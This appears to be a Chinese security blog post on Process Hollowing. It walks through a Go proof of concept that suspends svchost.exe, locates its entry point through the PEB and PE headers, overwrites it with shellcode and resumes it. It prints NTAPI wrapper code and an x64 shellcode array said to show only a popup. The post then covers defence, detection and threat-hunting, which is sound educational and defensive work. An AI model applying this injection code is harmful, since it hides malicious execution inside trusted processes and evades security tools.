关于目标进程调试与分析、Shellcode注入到目标进程的 Process Hollowing的实现思路,以及Process Hollowing(Shellcode)攻击延展的攻击检测防御思路。
Process Hollowing#
定义:Process Hollowing 是一种进程注入技术,常用于恶意软件开发和安全研究,攻击者将恶意代码隐藏在看似没有威胁的进程中,然后隐式注入到目标进程。这种技术是一种经典的隐藏恶意行为,绕过安全软件检测的攻击手段。本文POC案例的思路是,创建一个挂起的目标进程,然后替换该进程的内存映像,使其运行目标代码(Shellcode)。
(如果需要绕过这些安全软件检测,可以结合其它的安全技术,实现多形态的变种技术,但这暂时并不是本文所重点描述的,所以在此不展开讨论。)
本文内容主要讲述关于目标进程调试与分析、Shellcode注入到目标进程的 Process Hollowing的实现思路,以及由Process Hollowing(Shellcode)攻击延展的检测与防御。
POC的实现与调试分析#
启动c:\\windows\\system32\\svchost.exe进程并挂起,进程ID为8852,线程ID为11100。如果要实现这个功能,可以使用Win32的CreateProcessA()函数,而在Golang中可以使用syscall包中的CreateProcess()函数。如果创建的是挂起进程,则需要CREATE_SUSPENDED(0x00000004)。
//定义启动信息和进程信息结构体
var si syscall.StartupInfo
var pi syscall.ProcessInformation
//调用CreateProcessA()函数创建新进程
err = syscall.CreateProcess(
nil, // 模块名(不需要,传入nil)
cmdPtr, // 命令行参数。需要先将命令行参数转换为UTF16编码
nil, // 安全描述符
nil, // 安全描述符
false, // 指定是否继承句柄
0, // 创建标志,挂起进程的标志为CREATE_SUSPENDED(值是`0x00000004`)
nil, // 环境变量(不需要,传入nil)
nil, // 工作目录(不需要,传入nil)
&si, // 启动信息
&pi, // 进程信息
)
使用Process Explorer调试该进程,可发现进程ID和线程ID符合打印的日志:

调用ntQueryInformationProcess函数将ProcessBasicInformation传递给ProcessInformationClass,从而获得指向Process Environment Block(PEB)结构体的指针
func ntQueryInformationProcess(processHandle syscall.Handle, processInformationClass uint32, processInformation uintptr, processInformationLength uint32, returnLength *uint32) (uintptr, error) {
ret, _, err := ntQueryInfoProc.Call(
uintptr(processHandle),
uintptr(processInformationClass),
processInformation,
uintptr(processInformationLength),
uintptr(unsafe.Pointer(returnLength)),
)
if ret != 0 {
return 0, err
}
return ret, nil
}
Process Environment Block(PEB) 是Windows NT操作系统内部使用的数据结构,由内核创建,用以存储每个进程的运行时数据。PEB里包含了很多攻击者感兴趣的字段,比如ImageBaseAdress、加载的DLL列表。如果要查看其详细情况,可以使用windbg调试。
附加到挂起的进程svchost.exe(进程ID为8852),此时使用.reload命令加载符号文件。使用dt _PEB或dt ntdll!_PEB查看PEB数据结构:

由此看出PEB包含ImageBaseAddress,且ImageBaseAddress在PEB地址的10字节处。所以可以通过PebBaseAddress + 0x10访问到ImageBaseAddress。
在windbg中使用!peb命令查看到ImageBaseAddress的地址是00007ff7ed410000:

在POC代码的实现中可以使用ntReadVirtualMemory()函数读取PebBaseAddress+0x10地址,从而获得ImageBaseAddress。而ntReadVirtualProc源自于ntdll.NewProc("NtReadVirtualMemory")的导出:
ntdll = windows.NewLazySystemDLL("ntdll.dll")
ntReadVirtualProc = ntdll.NewProc("NtReadVirtualMemory")
func ntReadVirtualMemory(processHandle syscall.Handle, baseAddress uintptr, buffer uintptr, size uintptr, bytesRead *uintptr) (uintptr, error) {
ret, _, err := ntReadVirtualProc.Call(
uintptr(processHandle),
baseAddress,
buffer,
size,
uintptr(unsafe.Pointer(bytesRead)),
)
if ret != 0 {
return 0, err
}
return ret, nil
}

得到了ImageBaseAddress的地址,即可以找到IMAGE_DOS_HEADER。在windbg中键入dt _IMAGE_DOS_HEADER 00007ff7ed410000查看IMAGE_DOS_HEADER的结构体内容:

将e_lfanew的值0n240转换为十六进制0xf0:

通过e_lfanew可以定位NT头,即00007ff7ed410000 + 0xf0为NT头的地址。在windbg中键入dt _IMAGE_NT_HEADERS64 00007ff7ed410000+0xf0:

此时,IMAGE_OPTIONAL_HEADER64的地址为IMAGE_NT_HEADERS64 + OptionalHeader,即为ImageBaseAddress + e_lfanew + OptionalHeader 。在内存中,PE文件的可选头中包含AdressOfEntryPoint的相对虚拟地址(RVA),通过ImageBaseAddress + e_lfanew + OptionalHeader可定位到IMAGE_OPTIONAL_HEADER64的地址为00007ff7ed410000 + 0xf0 + 0x018处。
PE文件的PE签名是
0x4500(4个字节),COFF文件头为20个字节,即可选头在NT头地址+24字节(0x18)处
PE32文件的可选头大小为
224字节(0xE0),PE32+文件的可选头大小为240字节(0xF0)
在windbg中,使用dt _IMAGE_OPTIONAL_HEADER64 00007ff7ed410000+0xf0+0x018命令可定位到AddressOfEntryPoint 的值为0x5190:

使用上述方法得到了目标进程的ImageBaseAddress和AddressOfEntryPoint,进而求得Entry Point的值为ImageBaseAddress + AddressOfEntryPoint,值0x7ff7ed415190:

获取到EntryPoint,在POC代码注入shellcode后,就可以将程序的执行流程转移到Shellcode所在的内存地址,实现对目标进程的控制。
接下来,可以通过NtProtectVirtualMemory函数修改目标进程的内存页保护属性,设置为PAGE_READWRITE,以便可以写入Shellcode。
ntProtectVirtualMemory = ntdll.NewProc("NtProtectVirtualMemory")
// NtProtectVirtualMemory change memory protection.
func NtProtectVirtualMemory(processHandle syscall.Handle, baseAddress *uintptr, regionSize uintptr, newProtect uint32, oldProtect *uint32) (uintptr, error) {
r1, _, err := syscall.SyscallN(
ntProtectVirtualMemory.Addr(),
uintptr(processHandle),
uintptr(unsafe.Pointer(baseAddress)),
uintptr(unsafe.Pointer(®ionSize)),
uintptr(newProtect),
uintptr(unsafe.Pointer(oldProtect)),
0,
)
if r1 != 0 {
return 0, fmt.Errorf("NtProtectVirtualMemory failed: %v", err)
}
return r1, nil
}
更改了内存保护属性,可以使用NtWriteVirtualMemory函数将shellcode写入目标进程空间:
NtWriteVirtualMemory(pi.Process, entrypoint, shellcode, uint32(len(shellcode)), &bytesWritten)
NtWriteVirtualMemory()函数的自定义如下:
// ntWriteVirtualMemory calls NtWriteVirtualMemory to write to virtual memory.
func NtWriteVirtualMemory(processHandle syscall.Handle, baseAddress uintptr, buffer []byte, numberOfBytesToWrite uint32, numberOfBytesWritten *uint32) (err error) {
r1, _, _ := syscall.SyscallN(ntWriteVirtualMemory.Addr(),
uintptr(processHandle),
baseAddress,
uintptr(unsafe.Pointer(&buffer[0])),
uintptr(numberOfBytesToWrite),
uintptr(unsafe.Pointer(numberOfBytesWritten)),
0)
if r1 != 0 {
err = syscall.Errno(r1)
}
return
}
Shellcode写入完成后需要再次用NtProtectVirtualMemory()函数将内存页保护属性恢复为原来的状态。
//restore memory protection
status, err = NtProtectVirtualMemory(pi.Process, &base_address, uintptr(shellcode_buffer_length), oldProtect, &temp)

最后使用resumeThread()函数恢复目标进程(svchost.exe)的执行,顺利完成程序执行的“偷梁换柱”。resumeThread()函数的自定义如下:
func resumeThread(threadHandle windows.Handle) error {
var suspendCount uint32
status, _, _ := NtResumeThread.Call(
uintptr(threadHandle),
uintptr(unsafe.Pointer(&suspendCount)),
)
if status != 0 {
return fmt.Errorf("Failed to call NtResumeThread: %x", status)
}
return nil
}
shellcode成功在目标进程中执行,执行后弹出对话框:

上述内容实现了在 Windows 平台上使用 Process Hollowing 技术注入 Shellcode 到指定进程的内存空间中,并在目标进程的入口点处执行该 Shellcode。下面是代码的主要步骤和原理:
- 创建目标进程:使用
CreateProcessA函数创建目标进程,并将其挂起,以便后续操作。 - 获取目标进程的基本信息: 使用
NtQueryInformationProcess函数获取目标进程的基本信息,包括 PEB 的基址。 - 获取目标进程的
ImageBaseAddress:通过ntReadVirtualMemory()函数读取目标进程的 PEB 结构体,获取ImageBaseAddress(PEB 结构体的偏移量为 0x10)。 - 读取目标进程的
DOS Header和NT Header:基于目标进程的ImageBaseAddress,通过ntReadVirtualMemory()函数读取目标进程的DOS Header和NT Header,以便获取ImageBaseAddress和AddressOfEntryPoint。 - 修改目标进程的内存保护属性:使用
NtProtectVirtualMemory函数修改目标进程的内存页保护属性,将其设置为PAGE_READWRITE,以便写入 Shellcode。 - 写入 Shellcode 到目标进程的内存空间:使用
NtWriteVirtualMemory函数将解密后的 Shellcode 写入目标进程的内存空间。 - 恢复目标进程的内存保护属性:使用
NtProtectVirtualMemory函数将目标进程的内存页保护属性恢复为原来的状态。 - 恢复目标进程的执行:使用
NtResumeThread函数恢复目标进程的执行。
总体来说,该代码通过修改目标进程的内存保护属性,将Shellcode 写入目标进程的内存空间,然后在目标进程的入口点处执行 Shellcode,实现了 Process Hollowing 注入技术
本文仅用于教育和研究,所以POC代码中的不使用具有危害的shellcode(x64),仅弹窗
shellcode := []byte{0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8,
0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48,
0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18,
0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48,
0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48,
0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48,
0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31,
0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39,
0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x3e, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58,
0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e,
0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x3e, 0x48, 0x8d,
0x8d, 0x1a, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff,
0xd5, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95,
0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x14, 0x01, 0x00, 0x00,
0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0x48,
0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x68, 0x65,
0x6c, 0x6c, 0x6f, 0x00, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x00, 0x75, 0x73,
0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00}
POC#
POC代码是用Golang实现,主要使用的是NTAPI (ntdll.dll),详细代码见 https://github.com/Netero0o0/ProcessHollowing
防御与检测#
防御 Process Hollowing 的 Shellcode 注入攻击,从大的方面出发可以采取以下措施:
- 使用代码签名: 确保所有可执行文件都经过有效的代码签名,这样可以防止恶意者替换或篡改可执行文件。
- 完整性验证: 在加载可执行文件之前,验证文件的完整性,包括验证文件的哈希值和数字签名等,以确保文件未被篡改。
- 进程完整性保护: 使用进程完整性保护工具,如 Windows Defender Application Control(WDAC)或其他应用程序白名单解决方案,限制只允许受信任的进程执行。
- 行为检测和防御: 使用行为检测工具和防御解决方案来监控系统进程行为,及时检测到异常进程行为并采取相应措施。
- 访问控制: 使用访问控制策略和权限管理工具,限制对系统关键进程和资源的访问权限,降低攻击者利用漏洞进行进程注入的可能性。
- 安全更新和补丁: 定期更新和打补丁以修复系统和应用程序中的漏洞,以减少攻击面,降低攻击者利用漏洞进行进程注入的可能性。
- 行为分析和威胁情报: 使用行为分析工具和威胁情报服务,及时发现并应对新型威胁和攻击技术。
- 教育和培训: 对系统管理员和终端用户进行安全意识教育和培训,提高其对进程注入攻击的认识,加强安全意识和防御能力。
综合利用上述措施,可以有效降低 Process Hollowing 的 Shellcode 注入攻击的风险,并提高系统的安全性。
但这也只是最大化的降低风险,在现实中是不能完全规避风险。从安全检测和响应的角度,针对此类攻击该怎么办呢?
一般地,检测-响应的主要流程如下:
- 检测阶段:
- 主动扫描与被动检测:系统可以采取主动扫描文件、进程、网络流量等方式进行检测,也可以通过监控行为、异常检测等被动方式发现恶意活动。
- 特征匹配:利用恶意软件的特征(如哈希值、行为模式、网络流量模式等)与已知的威胁数据库进行匹配,以识别已知的恶意软件。
- 行为分析:通过监视进程行为、系统调用、文件操作等,分析程序的行为特征,识别潜在的恶意活动。
- 确认阶段:
- 人工研判:对于检测到的可疑活动,安全团队进一步的人工研判、审查,以确认是否确实存在恶意行为。
- 沟通和信息收集:安全团队可能需要从受害环境收集更多关于被攻击或异常的信息,确定其影响范围和威胁等级。
- 响应阶段:
- 隔离和清除:一旦确认存在恶意软件,安全团队将采取措施将受感染的系统或文件隔离,清除恶意软件并修复受损的系统或文件。
- 警报和通知:安全团队向受害环境的相关者发出告警确认通知。
- 恢复和预防措施:
- 系统恢复:安全团队对受感染系统进行恢复和重建,以确保其安全性和稳定性。
- 漏洞修补和安全加固:对于导致恶意软件传播的漏洞,安全团队将会尽快修补漏洞,并加强系统和网络的安全措施,以防止类似事件再次发生。
而在实际的检测和响应,常常采取筛选威胁告警,溯源与安全产品检测相结合的方式,以便更有效地发现和应对恶意攻击。而这个过程往往会遇到的资源有限的问题,在大多数环境中,Process Hollowing的检测有很多的干扰和“噪音”,要想高效检测出目标攻击,且避免“告警疲劳”,可以参考《Capability Abstraction》 的漏斗模型将Process Hollowing能力抽象化,实现更好的检测点或溯源点,极大减少误报的干扰,提高检测/溯源精确度。

比如,在本样例的能力抽象化中,可使用Process Explorer工具查看样例程序的进程树,依次分析父子进程的可疑性:

若环境中有crowdstrike等安全产品,也可以使用安全产品的威胁狩猎功能查看进程链,追溯进程链上进程的可疑程度,如父子进程的签名、哈希值、网络流量、注册表行为等动静态特征,将相关点提取出来,称为抽象图的一个元素。
本样例的Windows API 函数定位检测可使用API Monitor进行定位,然后针对定位到函数进行Hook或日志追溯:

本文样例程序可以提取出以下特征点形成以下抽象图:

通过将攻击的抽象化,可让安全人员的工作重心放在关键和高风险的检测/溯源点,从而实现更加高效的检测/溯源。这种模型化的方法能够最大程度地发挥安全运营人员的智慧和安全产品的优势,更好地实现高效检测,排除更多的“告警噪音”。
总结#
攻防博弈一直都在进行,进程注入技术已经出现很久,也出现了很多不同的实现方式,不同的攻击需要特定分析,制定对应的检测、防御措施。虽然本文只使用了一个进程注入的攻击样例进行叙述,但“万变不离其宗,万法归宗,一通百通”,其它的攻击与检测也可以此作为参照,凭借对细节、知识的关注,抽象化出对应的检测模型,减少大量“误报噪音”,有效保护目标环境。


